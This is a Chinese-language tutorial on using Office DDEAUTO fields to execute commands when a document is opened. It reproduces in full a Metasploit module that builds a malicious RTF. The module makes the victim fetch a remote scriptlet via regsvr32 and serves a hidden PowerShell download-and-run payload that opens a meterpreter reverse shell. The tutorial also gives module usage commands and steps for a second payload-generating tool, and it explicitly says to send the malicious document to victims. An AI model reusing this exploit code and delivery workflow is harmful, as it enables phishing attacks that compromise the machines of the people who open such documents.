在Office文档中利用DDE执行命令

Windows提供了应用程序间数据传输的若干种方法。

其中一种就是使用动态数据交换(DDE)协议。DDE协议是一套消息和指示的集合。通过发送消息以及共享内存实现应用程序的数据共享和交换。应用程序可以使用DDE协议实现一次性数据传输以及持续的数据交换(当新数据可用时,应用程序发送更新通知给另一个应用程序)。

基于宏的文档攻击技术一直是主流,虽然需要用户主动进行确认,但是攻击的成功率依然非常的高。不过,近段时间来,使用Office DDEAUTO技术来传播恶意文件的方法已经越来越流行。

在MSWord和MSExcel里,可以使用DDE来执行命令

复现过程:

新建一个Word文档,通过Ctrl+F9添加一个域,然后修改域代码为:

1
2
{ DDEAUTO “c:\\windows\\system32\\cmd.exe” "/k calc.exe" }

image

DDEAUTO关键字指示Word这是一个DDE域,并且在打开文档时自动执行域代码。在域代码中,紧跟DDEAUTO关键字后面的是要执行的可执行程序的路径,后面跟随的是可执行程序的参数

保存文档之后双击打开

[image

[image

image

除了运行计算器之外还可以调用其他程序,配合PowerShell或者各类脚本程序的强大能力,可以下载或者释放恶意payload

如使用msf配合生成恶意office文档

Exp: https://www.exploit-db.com/exploits/43338/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office DDE Payload Delivery',
'Description' => %q{
This module generates an DDE command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server.
},
'Author' => 'mumbai',
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 9 2017',
'References' => [
['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Microsoft Office', {} ],
],
'DefaultTarget' => 0,
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => false,
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'EXITFUNC' => 'thread'
}
))
register_options([
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
])
end

def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))

# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end

download_and_run = "#{ignore_cert}#{download_string}"

# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end

def on_request_uri(cli, _request)
if _request.raw_uri =~ /\.sct$/
print_status("Handling request for .sct from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = gen_sct_file(payload)
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering payload to #{cli.peerhost}...")
p = regenerate_payload(cli)
data = cmd_psh_payload(p.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
end

def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end

def gen_sct_file(command)
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
if command == ''
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
# If a command is provided, tell the target system to execute it.
else
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
end

def retrieve_header(filename)
if (not datastore['INJECT_PATH'].nil?)
path = "#{datastore['INJECT_PATH']}"
else
path = nil
end
if (not path.nil?)
if ::File.file?(path)
::File.open(path, 'rb') do |fd|
header = fd.read(fd.stat.size).split('{\*\datastore').first
header = header.to_s
print_status("Injecting #{path}...")
return header
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
end
return header
end

def create_rtf
#
header = retrieve_header(datastore['FILENAME'])
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
field_class << '\insrsid5790315' + "\n"
field_class << '\par }'
footer = '}}' # footer
rtf = header + field_class + footer
rtf
end

def primer
file_create(create_rtf)
end
end

将exp保存到msf的modules目录下/poctest文件夹

执行reload_all重新加载模块

使用模块

1
2
3
4
use exploit/poctest/43338
set LHOST 192.168.40.133
exploit

image

在目标机器执行该文件,仍然全部选是

image
收到shell

利用工具2:

1
2
3
4
pip install  lxml

git clone https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads.git

执行python ddeword.py
然后输入payload
image

在outlook文件夹下会生成具有恶意代码的doc文档

image

将payload-final.docx发送给受害者
受害者按打开后进行如之前一样的选择即可执行恶意代码

总结

该攻击方法需要用户交互。但是,由于安全意识的缺乏,无论是企业里还是个人用户,依然有大量的用户中招。同时微软也表示,DDEAUTO技术并非漏洞而是正常的功能,因此并不打算修复该问题。因此可以推测,该方法会在很长时间里成为文档攻击的主流。

⬆︎TOP